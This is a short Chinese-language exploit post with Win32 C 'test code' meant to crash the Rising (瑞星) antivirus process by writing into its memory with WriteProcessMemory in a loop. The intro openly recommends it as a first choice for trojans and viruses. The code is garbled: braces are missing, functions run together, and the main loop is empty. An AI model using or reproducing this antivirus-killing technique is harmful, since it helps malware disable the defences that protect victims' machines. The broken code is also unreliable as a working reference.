漏洞简介:向瑞星内存地址不断写入代码使其出错退出,木马病毒首选
测试代码:
DWORD GetProcessIdFromName(LPCTSTR name)
{
PROCESSENTRY32 pe;
DWORD id = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize = sizeof(PROCESSENTRY32);
if( !Process32First(hSnapshot,&pe) )
return 0;
do
if( Process32Next(hSnapshot,&pe)==FALSE )
break;
if(strcmp(pe.szExeFile,name) == 0)
id = pe.th32ProcessID;
}
} while(1);
CloseHandle(hSnapshot);
return id;
DWORD GetProcessID(char *FileName)
HANDLE myhProcess;
PROCESSENTRY32 mype;
BOOL mybRet;
//进行进程快照
myhProcess=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//TH32CS_SNAPPROCESS快照所有进程
//开始进程查找
mybRet=Process32First(myhProcess,&mype);
//循环比较,得出ProcessID
while(mybRet)
if(strcmp(FileName,mype.szExeFile)==0)
return mype.th32ProcessID;
else
mybRet=Process32Next(myhProcess,&mype);
void killProcess(CString www ,LPCTSTR name,char *xyz)
DWORD nPid = 0;
HANDLE hProcess;
DWORD nExitCode = 0;
DWORD nAddress = 0x1000;
nPid=GetProcessIdFromName(name);
hProcess = OpenProcess (PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION, 0,nPid);
WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);
while ( nAddress <= 0x7FFFF000 )
{

if (nExitCode != STILL_ACTIVE)
{

}
